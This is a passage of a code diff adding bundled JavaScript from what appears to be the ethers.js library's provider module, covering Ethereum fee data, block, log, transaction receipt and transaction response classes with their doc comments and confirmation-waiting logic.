} + function toJson(value) { + if (value == null) { + return null; + } + return value.toString(); + } + // @TODO? implements Required + /** + * A **FeeData** wraps all the fee-related values associated with + * the network. + */ + class FeeData { + /** + * The gas price for legacy networks. + */ + gasPrice; + /** + * The maximum fee to pay per gas. + * + * The base fee per gas is defined by the network and based on + * congestion, increasing the cost during times of heavy load + * and lowering when less busy. + * + * The actual fee per gas will be the base fee for the block + * and the priority fee, up to the max fee per gas. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + maxFeePerGas; + /** + * The additional amout to pay per gas to encourage a validator + * to include the transaction. + * + * The purpose of this is to compensate the validator for the + * adjusted risk for including a given transaction. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + maxPriorityFeePerGas; + /** + * Creates a new FeeData for %%gasPrice%%, %%maxFeePerGas%% and + * %%maxPriorityFeePerGas%%. + */ + constructor(gasPrice, maxFeePerGas, maxPriorityFeePerGas) { + defineProperties(this, { + gasPrice: getValue(gasPrice), + maxFeePerGas: getValue(maxFeePerGas), + maxPriorityFeePerGas: getValue(maxPriorityFeePerGas) + }); + } + /** + * Returns a JSON-friendly value. + */ + toJSON() { + const { gasPrice, maxFeePerGas, maxPriorityFeePerGas } = this; + return { + _type: "FeeData", + gasPrice: toJson(gasPrice), + maxFeePerGas: toJson(maxFeePerGas), + maxPriorityFeePerGas: toJson(maxPriorityFeePerGas), + }; + } + } + /** + * Returns a copy of %%req%% with all properties coerced to their strict + * types. + */ + function copyRequest(req) { + const result = {}; + // These could be addresses, ENS names or Addressables + if (req.to) { + result.to = req.to; + } + if (req.from) { + result.from = req.from; + } + if (req.data) { + result.data = hexlify(req.data); + } + const bigIntKeys = "chainId,gasLimit,gasPrice,maxFeePerBlobGas,maxFeePerGas,maxPriorityFeePerGas,value".split(/,/); + for (const key of bigIntKeys) { + if (!(key in req) || req[key] == null) { + continue; + } + result[key] = getBigInt(req[key], `request.${key}`); + } + const numberKeys = "type,nonce".split(/,/); + for (const key of numberKeys) { + if (!(key in req) || req[key] == null) { + continue; + } + result[key] = getNumber(req[key], `request.${key}`); + } + if (req.accessList) { + result.accessList = accessListify(req.accessList); + } + if (req.authorizationList) { + result.authorizationList = req.authorizationList.slice(); + } + if ("blockTag" in req) { + result.blockTag = req.blockTag; + } + if ("enableCcipRead" in req) { + result.enableCcipRead = !!req.enableCcipRead; + } + if ("customData" in req) { + result.customData = req.customData; + } + if ("blobVersionedHashes" in req && req.blobVersionedHashes) { + result.blobVersionedHashes = req.blobVersionedHashes.slice(); + } + if ("kzg" in req) { + result.kzg = req.kzg; + } + if ("blobs" in req && req.blobs) { + result.blobs = req.blobs.map((b) => { + if (isBytesLike(b)) { + return hexlify(b); + } + return Object.assign({}, b); + }); + } + return result; + } + /** + * A **Block** represents the data associated with a full block on + * Ethereum. + */ + class Block { + /** + * The provider connected to the block used to fetch additional details + * if necessary. + */ + provider; + /** + * The block number, sometimes called the block height. This is a + * sequential number that is one higher than the parent block. + */ + number; + /** + * The block hash. + * + * This hash includes all properties, so can be safely used to identify + * an exact set of block properties. + */ + hash; + /** + * The timestamp for this block, which is the number of seconds since + * epoch that this block was included. + */ + timestamp; + /** + * The block hash of the parent block. + */ + parentHash; + /** + * The hash tree root of the parent beacon block for the given + * execution block. See [[link-eip-4788]]. + */ + parentBeaconBlockRoot; + /** + * The nonce. + * + * On legacy networks, this is the random number inserted which + * permitted the difficulty target to be reached. + */ + nonce; + /** + * The difficulty target. + * + * On legacy networks, this is the proof-of-work target required + * for a block to meet the protocol rules to be included. + * + * On modern networks, this is a random number arrived at using + * randao. @TODO: Find links? + */ + difficulty; + /** + * The total gas limit for this block. + */ + gasLimit; + /** + * The total gas used in this block. + */ + gasUsed; + /** + * The root hash for the global state after applying changes + * in this block. + */ + stateRoot; + /** + * The hash of the transaction receipts trie. + */ + receiptsRoot; + /** + * The total amount of blob gas consumed by the transactions + * within the block. See [[link-eip-4844]]. + */ + blobGasUsed; + /** + * The running total of blob gas consumed in excess of the + * target, prior to the block. See [[link-eip-4844]]. + */ + excessBlobGas; + /** + * The miner coinbase address, wihch receives any subsidies for + * including this block. + */ + miner; + /** + * The latest RANDAO mix of the post beacon state of + * the previous block. + */ + prevRandao; + /** + * Any extra data the validator wished to include. + */ + extraData; + /** + * The base fee per gas that all transactions in this block were + * charged. + * + * This adjusts after each block, depending on how congested the network + * is. + */ + baseFeePerGas; + #transactions; + /** + * Create a new **Block** object. + * + * This should generally not be necessary as the unless implementing a + * low-level library. + */ + constructor(block, provider) { + this.#transactions = block.transactions.map((tx) => { + if (typeof (tx) !== "string") { + return new TransactionResponse(tx, provider); + } + return tx; + }); + defineProperties(this, { + provider, + hash: getValue(block.hash), + number: block.number, + timestamp: block.timestamp, + parentHash: block.parentHash, + parentBeaconBlockRoot: block.parentBeaconBlockRoot, + nonce: block.nonce, + difficulty: block.difficulty, + gasLimit: block.gasLimit, + gasUsed: block.gasUsed, + blobGasUsed: block.blobGasUsed, + excessBlobGas: block.excessBlobGas, + miner: block.miner, + prevRandao: getValue(block.prevRandao), + extraData: block.extraData, + baseFeePerGas: getValue(block.baseFeePerGas), + stateRoot: block.stateRoot, + receiptsRoot: block.receiptsRoot, + }); + } + /** + * Returns the list of transaction hashes, in the order + * they were executed within the block. + */ + get transactions() { + return this.#transactions.map((tx) => { + if (typeof (tx) === "string") { + return tx; + } + return tx.hash; + }); + } + /** + * Returns the complete transactions, in the order they + * were executed within the block. + * + * This is only available for blocks which prefetched + * transactions, by passing ``true`` to %%prefetchTxs%% + * into [[Provider-getBlock]]. + */ + get prefetchedTransactions() { + const txs = this.#transactions.slice(); + // Doesn't matter... + if (txs.length === 0) { + return []; + } + // Make sure we prefetched the transactions + assert(typeof (txs[0]) === "object", "transactions were not prefetched with block request", "UNSUPPORTED_OPERATION", { + operation: "transactionResponses()" + }); + return txs; + } + /** + * Returns a JSON-friendly value. + */ + toJSON() { + const { baseFeePerGas, difficulty, extraData, gasLimit, gasUsed, hash, miner, prevRandao, nonce, number, parentHash, parentBeaconBlockRoot, stateRoot, receiptsRoot, timestamp, transactions } = this; + return { + _type: "Block", + baseFeePerGas: toJson(baseFeePerGas), + difficulty: toJson(difficulty), + extraData, + gasLimit: toJson(gasLimit), + gasUsed: toJson(gasUsed), + blobGasUsed: toJson(this.blobGasUsed), + excessBlobGas: toJson(this.excessBlobGas), + hash, miner, prevRandao, nonce, number, parentHash, timestamp, + parentBeaconBlockRoot, stateRoot, receiptsRoot, + transactions, + }; + } + [Symbol.iterator]() { + let index = 0; + const txs = this.transactions; + return { + next: () => { + if (index < this.length) { + return { + value: txs[index++], done: false + }; + } + return { value: undefined, done: true }; + } + }; + } + /** + * The number of transactions in this block. + */ + get length() { return this.#transactions.length; } + /** + * The [[link-js-date]] this block was included at. + */ + get date() { + if (this.timestamp == null) { + return null; + } + return new Date(this.timestamp * 1000); + } + /** + * Get the transaction at %%indexe%% within this block. + */ + async getTransaction(indexOrHash) { + // Find the internal value by its index or hash + let tx = undefined; + if (typeof (indexOrHash) === "number") { + tx = this.#transactions[indexOrHash]; + } + else { + const hash = indexOrHash.toLowerCase(); + for (const v of this.#transactions) { + if (typeof (v) === "string") { + if (v !== hash) { + continue; + } + tx = v; + break; + } + else { + if (v.hash !== hash) { + continue; + } + tx = v; + break; + } + } + } + if (tx == null) { + throw new Error("no such tx"); + } + if (typeof (tx) === "string") { + return (await this.provider.getTransaction(tx)); + } + else { + return tx; + } + } + /** + * If a **Block** was fetched with a request to include the transactions + * this will allow synchronous access to those transactions. + * + * If the transactions were not prefetched, this will throw. + */ + getPrefetchedTransaction(indexOrHash) { + const txs = this.prefetchedTransactions; + if (typeof (indexOrHash) === "number") { + return txs[indexOrHash]; + } + indexOrHash = indexOrHash.toLowerCase(); + for (const tx of txs) { + if (tx.hash === indexOrHash) { + return tx; + } + } + assertArgument(false, "no matching transaction", "indexOrHash", indexOrHash); + } + /** + * Returns true if this block been mined. This provides a type guard + * for all properties on a [[MinedBlock]]. + */ + isMined() { return !!this.hash; } + /** + * Returns true if this block is an [[link-eip-2930]] block. + */ + isLondon() { + return !!this.baseFeePerGas; + } + /** + * @_ignore: + */ + orphanedEvent() { + if (!this.isMined()) { + throw new Error(""); + } + return createOrphanedBlockFilter(this); + } + } + ////////////////////// + // Log + /** + * A **Log** in Ethereum represents an event that has been included in a + * transaction using the ``LOG*`` opcodes, which are most commonly used by + * Solidity's emit for announcing events. + */ + class Log { + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + provider; + /** + * The transaction hash of the transaction this log occurred in. Use the + * [[Log-getTransaction]] to get the [[TransactionResponse]]. + */ + transactionHash; + /** + * The block hash of the block this log occurred in. Use the + * [[Log-getBlock]] to get the [[Block]]. + */ + blockHash; + /** + * The block number of the block this log occurred in. It is preferred + * to use the [[Block-hash]] when fetching the related [[Block]], + * since in the case of an orphaned block, the block at that height may + * have changed. + */ + blockNumber; + /** + * If the **Log** represents a block that was removed due to an orphaned + * block, this will be true. + * + * This can only happen within an orphan event listener. + */ + removed; + /** + * The address of the contract that emitted this log. + */ + address; + /** + * The data included in this log when it was emitted. + */ + data; + /** + * The indexed topics included in this log when it was emitted. + * + * All topics are included in the bloom filters, so they can be + * efficiently filtered using the [[Provider-getLogs]] method. + */ + topics; + /** + * The index within the block this log occurred at. This is generally + * not useful to developers, but can be used with the various roots + * to proof inclusion within a block. + */ + index; + /** + * The index within the transaction of this log. + */ + transactionIndex; + /** + * @_ignore: + */ + constructor(log, provider) { + this.provider = provider; + const topics = Object.freeze(log.topics.slice()); + defineProperties(this, { + transactionHash: log.transactionHash, + blockHash: log.blockHash, + blockNumber: log.blockNumber, + removed: log.removed, + address: log.address, + data: log.data, + topics, + index: log.index, + transactionIndex: log.transactionIndex, + }); + } + /** + * Returns a JSON-compatible object. + */ + toJSON() { + const { address, blockHash, blockNumber, data, index, removed, topics, transactionHash, transactionIndex } = this; + return { + _type: "log", + address, blockHash, blockNumber, data, index, + removed, topics, transactionHash, transactionIndex + }; + } + /** + * Returns the block that this log occurred in. + */ + async getBlock() { + const block = await this.provider.getBlock(this.blockHash); + assert(!!block, "failed to find transaction", "UNKNOWN_ERROR", {}); + return block; + } + /** + * Returns the transaction that this log occurred in. + */ + async getTransaction() { + const tx = await this.provider.getTransaction(this.transactionHash); + assert(!!tx, "failed to find transaction", "UNKNOWN_ERROR", {}); + return tx; + } + /** + * Returns the transaction receipt fot the transaction that this + * log occurred in. + */ + async getTransactionReceipt() { + const receipt = await this.provider.getTransactionReceipt(this.transactionHash); + assert(!!receipt, "failed to find transaction receipt", "UNKNOWN_ERROR", {}); + return receipt; + } + /** + * @_ignore: + */ + removedEvent() { + return createRemovedLogFilter(this); + } + } + ////////////////////// + // Transaction Receipt + /* + export interface LegacyTransactionReceipt { + byzantium: false; + status: null; + root: string; + } + + export interface ByzantiumTransactionReceipt { + byzantium: true; + status: number; + root: null; + } + */ + /** + * A **TransactionReceipt** includes additional information about a + * transaction that is only available after it has been mined. + */ + class TransactionReceipt { + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + provider; + /** + * The address the transaction was sent to. + */ + to; + /** + * The sender of the transaction. + */ + from; + /** + * The address of the contract if the transaction was directly + * responsible for deploying one. + * + * This is non-null **only** if the ``to`` is empty and the ``data`` + * was successfully executed as initcode. + */ + contractAddress; + /** + * The transaction hash. + */ + hash; + /** + * The index of this transaction within the block transactions. + */ + index; + /** + * The block hash of the [[Block]] this transaction was included in. + */ + blockHash; + /** + * The block number of the [[Block]] this transaction was included in. + */ + blockNumber; + /** + * The bloom filter bytes that represent all logs that occurred within + * this transaction. This is generally not useful for most developers, + * but can be used to validate the included logs. + */ + logsBloom; + /** + * The actual amount of gas used by this transaction. + * + * When creating a transaction, the amount of gas that will be used can + * only be approximated, but the sender must pay the gas fee for the + * entire gas limit. After the transaction, the difference is refunded. + */ + gasUsed; + /** + * The gas used for BLObs. See [[link-eip-4844]]. + */ + blobGasUsed; + /** + * The amount of gas used by all transactions within the block for this + * and all transactions with a lower ``index``. + * + * This is generally not useful for developers but can be used to + * validate certain aspects of execution. + */ + cumulativeGasUsed; + /** + * The actual gas price used during execution. + * + * Due to the complexity of [[link-eip-1559]] this value can only + * be caluclated after the transaction has been mined, snce the base + * fee is protocol-enforced. + */ + gasPrice; + /** + * The price paid per BLOB in gas. See [[link-eip-4844]]. + */ + blobGasPrice; + /** + * The [[link-eip-2718]] transaction type. + */ + type; + //readonly byzantium!: boolean; + /** + * The status of this transaction, indicating success (i.e. ``1``) or + * a revert (i.e. ``0``). + * + * This is available in post-byzantium blocks, but some backends may + * backfill this value. + */ + status; + /** + * The root hash of this transaction. + * + * This is no present and was only included in pre-byzantium blocks, but + * could be used to validate certain parts of the receipt. + */ + root; + #logs; + /** + * @_ignore: + */ + constructor(tx, provider) { + this.#logs = Object.freeze(tx.logs.map((log) => { + return new Log(log, provider); + })); + let gasPrice = BN_0$2; + if (tx.effectiveGasPrice != null) { + gasPrice = tx.effectiveGasPrice; + } + else if (tx.gasPrice != null) { + gasPrice = tx.gasPrice; + } + defineProperties(this, { + provider, + to: tx.to, + from: tx.from, + contractAddress: tx.contractAddress, + hash: tx.hash, + index: tx.index, + blockHash: tx.blockHash, + blockNumber: tx.blockNumber, + logsBloom: tx.logsBloom, + gasUsed: tx.gasUsed, + cumulativeGasUsed: tx.cumulativeGasUsed, + blobGasUsed: tx.blobGasUsed, + gasPrice, + blobGasPrice: tx.blobGasPrice, + type: tx.type, + //byzantium: tx.byzantium, + status: tx.status, + root: tx.root + }); + } + /** + * The logs for this transaction. + */ + get logs() { return this.#logs; } + /** + * Returns a JSON-compatible representation. + */ + toJSON() { + const { to, from, contractAddress, hash, index, blockHash, blockNumber, logsBloom, logs, //byzantium, + status, root } = this; + return { + _type: "TransactionReceipt", + blockHash, blockNumber, + //byzantium, + contractAddress, + cumulativeGasUsed: toJson(this.cumulativeGasUsed), + from, + gasPrice: toJson(this.gasPrice), + blobGasUsed: toJson(this.blobGasUsed), + blobGasPrice: toJson(this.blobGasPrice), + gasUsed: toJson(this.gasUsed), + hash, index, logs, logsBloom, root, status, to + }; + } + /** + * @_ignore: + */ + get length() { return this.logs.length; } + [Symbol.iterator]() { + let index = 0; + return { + next: () => { + if (index < this.length) { + return { value: this.logs[index++], done: false }; + } + return { value: undefined, done: true }; + } + }; + } + /** + * The total fee for this transaction, in wei. + */ + get fee() { + return this.gasUsed * this.gasPrice; + } + /** + * Resolves to the block this transaction occurred in. + */ + async getBlock() { + const block = await this.provider.getBlock(this.blockHash); + if (block == null) { + throw new Error("TODO"); + } + return block; + } + /** + * Resolves to the transaction this transaction occurred in. + */ + async getTransaction() { + const tx = await this.provider.getTransaction(this.hash); + if (tx == null) { + throw new Error("TODO"); + } + return tx; + } + /** + * Resolves to the return value of the execution of this transaction. + * + * Support for this feature is limited, as it requires an archive node + * with the ``debug_`` or ``trace_`` API enabled. + */ + async getResult() { + return (await this.provider.getTransactionResult(this.hash)); + } + /** + * Resolves to the number of confirmations this transaction has. + */ + async confirmations() { + return (await this.provider.getBlockNumber()) - this.blockNumber + 1; + } + /** + * @_ignore: + */ + removedEvent() { + return createRemovedTransactionFilter(this); + } + /** + * @_ignore: + */ + reorderedEvent(other) { + assert(!other || other.isMined(), "unmined 'other' transction cannot be orphaned", "UNSUPPORTED_OPERATION", { operation: "reorderedEvent(other)" }); + return createReorderedTransactionFilter(this, other); + } + } + /** + * A **TransactionResponse** includes all properties about a transaction + * that was sent to the network, which may or may not be included in a + * block. + * + * The [[TransactionResponse-isMined]] can be used to check if the + * transaction has been mined as well as type guard that the otherwise + * possibly ``null`` properties are defined. + */ + class TransactionResponse { + /** + * The provider this is connected to, which will influence how its + * methods will resolve its async inspection methods. + */ + provider; + /** + * The block number of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + blockNumber; + /** + * The blockHash of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + blockHash; + /** + * The index within the block that this transaction resides at. + */ + index; + /** + * The transaction hash. + */ + hash; + /** + * The [[link-eip-2718]] transaction envelope type. This is + * ``0`` for legacy transactions types. + */ + type; + /** + * The receiver of this transaction. + * + * If ``null``, then the transaction is an initcode transaction. + * This means the result of executing the [[data]] will be deployed + * as a new contract on chain (assuming it does not revert) and the + * address may be computed using [[getCreateAddress]]. + */ + to; + /** + * The sender of this transaction. It is implicitly computed + * from the transaction pre-image hash (as the digest) and the + * [[signature]] using ecrecover. + */ + from; + /** + * The nonce, which is used to prevent replay attacks and offer + * a method to ensure transactions from a given sender are explicitly + * ordered. + * + * When sending a transaction, this must be equal to the number of + * transactions ever sent by [[from]]. + */ + nonce; + /** + * The maximum units of gas this transaction can consume. If execution + * exceeds this, the entries transaction is reverted and the sender + * is charged for the full amount, despite not state changes being made. + */ + gasLimit; + /** + * The gas price can have various values, depending on the network. + * + * In modern networks, for transactions that are included this is + * the //effective gas price// (the fee per gas that was actually + * charged), while for transactions that have not been included yet + * is the [[maxFeePerGas]]. + * + * For legacy transactions, or transactions on legacy networks, this + * is the fee that will be charged per unit of gas the transaction + * consumes. + */ + gasPrice; + /** + * The maximum priority fee (per unit of gas) to allow a + * validator to charge the sender. This is inclusive of the + * [[maxFeeFeePerGas]]. + */ + maxPriorityFeePerGas; + /** + * The maximum fee (per unit of gas) to allow this transaction + * to charge the sender. + */ + maxFeePerGas; + /** + * The [[link-eip-4844]] max fee per BLOb gas. + */ + maxFeePerBlobGas; + /** + * The data. + */ + data; + /** + * The value, in wei. Use [[formatEther]] to format this value + * as ether. + */ + value; + /** + * The chain ID. + */ + chainId; + /** + * The signature. + */ + signature; + /** + * The [[link-eip-2930]] access list for transaction types that + * support it, otherwise ``null``. + */ + accessList; + /** + * The [[link-eip-4844]] BLOb versioned hashes. + */ + blobVersionedHashes; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList; + #startBlock; + /** + * @_ignore: + */ + constructor(tx, provider) { + this.provider = provider; + this.blockNumber = (tx.blockNumber != null) ? tx.blockNumber : null; + this.blockHash = (tx.blockHash != null) ? tx.blockHash : null; + this.hash = tx.hash; + this.index = tx.index; + this.type = tx.type; + this.from = tx.from; + this.to = tx.to || null; + this.gasLimit = tx.gasLimit; + this.nonce = tx.nonce; + this.data = tx.data; + this.value = tx.value; + this.gasPrice = tx.gasPrice; + this.maxPriorityFeePerGas = (tx.maxPriorityFeePerGas != null) ? tx.maxPriorityFeePerGas : null; + this.maxFeePerGas = (tx.maxFeePerGas != null) ? tx.maxFeePerGas : null; + this.maxFeePerBlobGas = (tx.maxFeePerBlobGas != null) ? tx.maxFeePerBlobGas : null; + this.chainId = tx.chainId; + this.signature = tx.signature; + this.accessList = (tx.accessList != null) ? tx.accessList : null; + this.blobVersionedHashes = (tx.blobVersionedHashes != null) ? tx.blobVersionedHashes : null; + this.authorizationList = (tx.authorizationList != null) ? tx.authorizationList : null; + this.#startBlock = -1; + } + /** + * Returns a JSON-compatible representation of this transaction. + */ + toJSON() { + const { blockNumber, blockHash, index, hash, type, to, from, nonce, data, signature, accessList, blobVersionedHashes } = this; + return { + _type: "TransactionResponse", + accessList, blockNumber, blockHash, + blobVersionedHashes, + chainId: toJson(this.chainId), + data, from, + gasLimit: toJson(this.gasLimit), + gasPrice: toJson(this.gasPrice), + hash, + maxFeePerGas: toJson(this.maxFeePerGas), + maxPriorityFeePerGas: toJson(this.maxPriorityFeePerGas), + maxFeePerBlobGas: toJson(this.maxFeePerBlobGas), + nonce, signature, to, index, type, + value: toJson(this.value), + }; + } + /** + * Resolves to the Block that this transaction was included in. + * + * This will return null if the transaction has not been included yet. + */ + async getBlock() { + let blockNumber = this.blockNumber; + if (blockNumber == null) { + const tx = await this.getTransaction(); + if (tx) { + blockNumber = tx.blockNumber; + } + } + if (blockNumber == null) { + return null; + } + const block = this.provider.getBlock(blockNumber); + if (block == null) { + throw new Error("TODO"); + } + return block; + } + /** + * Resolves to this transaction being re-requested from the + * provider. This can be used if you have an unmined transaction + * and wish to get an up-to-date populated instance. + */ + async getTransaction() { + return this.provider.getTransaction(this.hash); + } + /** + * Resolve to the number of confirmations this transaction has. + */ + async confirmations() { + if (this.blockNumber == null) { + const { tx, blockNumber } = await resolveProperties({ + tx: this.getTransaction(), + blockNumber: this.provider.getBlockNumber() + }); + // Not mined yet... + if (tx == null || tx.blockNumber == null) { + return 0; + } + return blockNumber - tx.blockNumber + 1; + } + const blockNumber = await this.provider.getBlockNumber(); + return blockNumber - this.blockNumber + 1; + } + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + async wait(_confirms, _timeout) { + const confirms = (_confirms == null) ? 1 : _confirms; + const timeout = (_timeout == null) ? 0 : _timeout; + let startBlock = this.#startBlock; + let nextScan = -1; + let stopScanning = (startBlock === -1) ? true : false; + const checkReplacement = async () => { + // Get the current transaction count for this sender + if (stopScanning) { + return null; + } + const { blockNumber, nonce } = await resolveProperties({ + blockNumber: this.provider.getBlockNumber(), + nonce: this.provider.getTransactionCount(this.from) + }); + // No transaction or our nonce has not been mined yet; but we + // can start scanning later when we do start + if (nonce < this.nonce) { + startBlock = blockNumber; + return; + } + // We were mined; no replacement + if (stopScanning) { + return null; + } + const mined = await this.getTransaction(); + if (mined && mined.blockNumber != null) { + return; + } + // We were replaced; start scanning for that transaction + // Starting to scan; look back a few extra blocks for safety + if (nextScan === -1) { + nextScan = startBlock - 3; + if (nextScan < this.#startBlock) { + nextScan = this.#startBlock; + } + } + while (nextScan <= blockNumber) { + // Get the next block to scan + if (stopScanning) { + return null; + } + const block = await this.provider.getBlock(nextScan, true); + // This should not happen; but we'll try again shortly + if (block == null) { + return; + } + // We were mined; no replacement + for (const hash of block) { + if (hash === this.hash) { + return; + } + } + // Search for the transaction that replaced us + for (let i = 0; i < block.length; i++) { + const tx = await block.getTransaction(i); + if (tx.from === this.from && tx.nonce === this.nonce) { + // Get the receipt + if (stopScanning) { + return null; + } + const receipt = await this.provider.getTransactionReceipt(tx.hash); + // This should not happen; but we'll try again shortly + if (receipt == null) { + return; + } + // We will retry this on the next block (this case could be optimized) + if ((blockNumber - receipt.blockNumber + 1) < confirms) { + return; + } + // The reason we were replaced + let reason = "replaced"; + if (tx.data === this.data && tx.to === this.to && tx.value === this.value) { + reason = "repriced"; + } + else if (tx.data === "0x" && tx.from === tx.to && tx.value === BN_0$2) { + reason = "cancelled"; + } + assert(false, "transaction was replaced", "TRANSACTION_REPLACED", { + cancelled: (reason === "replaced" || reason === "cancelled"), + reason, + replacement: tx.replaceableTransaction(startBlock), + hash: tx.hash, + receipt + }); + } + } + nextScan++; + } + return; + }; + const checkReceipt = (receipt) => { + if (receipt == null || receipt.status !== 0) { + return receipt; + } + assert(false, "transaction execution reverted", "CALL_EXCEPTION", { + action: "sendTransaction", + data: null, reason: null, invocation: null, revert: null, + transaction: { + to: receipt.to, + from: receipt.from, + data: "" // @TODO: in v7, split out sendTransaction properties + }, receipt + }); + }; + const receipt = await this.provider.getTransactionReceipt(this.hash); + if (confirms === 0) { + return checkReceipt(receipt); + } + if (receipt) { + if (confirms === 1 || (await receipt.confirmations()) >= confirms) { + return checkReceipt(receipt); + } + } + else { + // Check for a replacement; throws if a replacement was found + await checkReplacement(); + // Allow null only when the confirms is 0 + if (confirms === 0) { + return null; + } + } + const waiter = new Promise((resolve, reject) => { + // List of things to cancel when we have a result (one way or the other) + const cancellers = []; + const cancel = () => { cancellers.forEach((c) => c()); }; + // On cancel, stop scanning for replacements + cancellers.push(() => { stopScanning = true; }); + // Set up any timeout requested + if (timeout > 0) { + const timer = setTimeout(() => { + cancel(); + reject(makeError("wait for transaction timeout", "TIMEOUT")); + }, timeout); + cancellers.push(() => { clearTimeout(timer); }); + } + const txListener = async (receipt) => { + // Done; return it! + if ((await receipt.confirmations()) >= confirms) { + cancel(); + try { + resolve(checkReceipt(receipt)); + } + catch (error) { + reject(error); + } + } + }; + cancellers.push(() => { this.provider.off(this.hash, txListener); }); + this.provider.on(this.hash, txListener); + // We support replacement detection; start checking + if (startBlock >= 0) { + const replaceListener = async () => { + try { + // Check for a replacement; this throws only if one is found + await checkReplacement(); + } + catch (error) { + // We were replaced (with enough confirms); re-throw the error + if (isError(error, "TRANSACTION_REPLACED")) { + cancel(); + reject(error); + return; + } + } + // Rescheudle a check on the next block + if (!stopScanning) { + this.provider.once("block", replaceListener); + } + }; + cancellers.push(() => { this.provider.off("block", replaceListener); }); + this.provider.once("block", replaceListener); + } + }); + return await waiter; + } + /** + * Returns ``true`` if this transaction has been included. + * + * This is effective only as of the time the TransactionResponse + * was instantiated. To get up-to-date information, use + * [[getTransaction]]. + * + * This provides a Type Guard that this transaction will have + * non-null property values for properties that are null for + * unmined transactions. + */ + isMined() { + return (this.blockHash != null); + } + /** + * Returns true if the transaction is a legacy (i.e. ``type == 0``) + * transaction. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLegacy() { + return (this.type === 0); + } + /** + * Returns true if the transaction is a Berlin (i.e. ``type == 1``) + * transaction. See [[link-eip-2070]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isBerlin() { + return (this.type === 1); + } + /** + * Returns true if the transaction is a London (i.e. ``type == 2``) + * transaction. See [[link-eip-1559]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLondon() { + return (this.type === 2); + } + /** + * Returns true if hte transaction is a Cancun (i.e. ``type == 3``) + * transaction. See [[link-eip-4844]]. + */ + isCancun() { + return (this.type === 3); + } + /** + * Returns a filter which can be used to listen for orphan events + * that evict this transaction. + */ + removedEvent() { + assert(this.isMined(), "unmined transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + return createRemovedTransactionFilter(this); + } + /** + * Returns a filter which can be used to listen for orphan events + * that re-order this event against %%other%%. + */ + reorderedEvent(other) { + assert(this.isMined(), "unmined transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + assert(!other || other.isMined(), "unmined 'other' transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + return createReorderedTransactionFilter(this, other); + } + /** + * Returns a new TransactionResponse instance which has the ability to + * detect (and throw an error) if the transaction is replaced, which + * will begin scanning at %%startBlock%%. + * + * This should generally not be used by developers and is intended + * primarily for internal use. Setting an incorrect %%startBlock%% can + * have devastating performance consequences if used incorrectly. + */ + replaceableTransaction(startBlock) { + assertArgument(Number.isInteger(startBlock) && startBlock >= 0, "invalid startBlock", "startBlock", startBlock); + const tx = new TransactionResponse(this, this.provider); + tx.#startBlock = startBlock; + return tx; + } + } + function createOrphanedBlockFilter(block) { + return { orphan: "drop-block", hash: block.hash, number: block.number }; + } + function createReorderedTransactionFilter(tx, other) { + return { orphan: "reorder-transaction", tx, other }; + } + function createRemovedTransactionFilter(tx) { + return { orphan: "drop-transaction", tx }; + } + function createRemovedLogFilter(log) { + return { orphan: "drop-log", log: { + transactionHash: log.transactionHash, + blockHash: log.blockHash, + blockNumber: log.blockNumber, + address: log.address, + data: log.data, + topics: Object.freeze(log.topics.slice()), + index: log.index + } }; + } + + // import from provider.ts instead of index.ts to prevent circular dep + // from EtherscanProvider + /** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ + class EventLog extends Log { + /** + * The Contract Interface. + */ + interface; + /** + * The matching event. + */ + fragment; + /** + * The parsed arguments passed to the event by ``emit``. + */ + args; + /** + * @_ignore: + */ + constructor(log, iface, fragment) { + super(log, log.provider); + const args = iface.decodeEventLog(fragment, log.data, log.topics); + defineProperties(this, { args, fragment, interface: iface }); + } + /** + * The name of the event. + */ + get eventName() { return this.fragment.name; } + /** + * The signature of the event. + */ + get eventSignature() { return this.fragment.format(); } + } + /** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ + class UndecodedEventLog extends Log { + /** + * The error encounted when trying to decode the log. + */ + error; + /** + * @_ignore: + */ + constructor(log, error) { + super(log, log.provider); + defineProperties(this, { error }); + } + } + /** + * A **ContractTransactionReceipt** includes the parsed logs from a + * [[TransactionReceipt]]. + */ + class ContractTransactionReceipt extends TransactionReceipt { + #iface; + /** + * @_ignore: + */ + constructor(iface, provider, tx) { + super(tx, provider); + this.#iface = iface; + } + /** + * The parsed logs for any [[Log]] which has a matching event in the + * Contract ABI. + */ + get logs() { + return super.logs.map((log) => { + const fragment = log.topics.length ? this.#iface.getEvent(log.topics[0]) : null; + if (fragment) { + try { + return new EventLog(log, this.#iface, fragment); + } + catch (error) { + return new UndecodedEventLog(log, error); + } + } + return log; + }); + } + } + /** + * A **ContractTransactionResponse** will return a + * [[ContractTransactionReceipt]] when waited on. + */ + class ContractTransactionResponse extends TransactionResponse { + #iface; + /** + * @_ignore: + */ + constructor(iface, provider, tx) { + super(tx, provider); + this.#iface = iface; + } + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + async wait(confirms, timeout) { + const receipt = await super.wait(confirms, timeout); + if (receipt == null) { + return null; + } + return new ContractTransactionReceipt(this.#iface, this.provider, receipt); + } + } + /** + * A **ContractUnknownEventPayload** is included as the last parameter to + * Contract Events when the event does not match any events in the ABI. + */ + class ContractUnknownEventPayload extends EventPayload { + /** + * The log 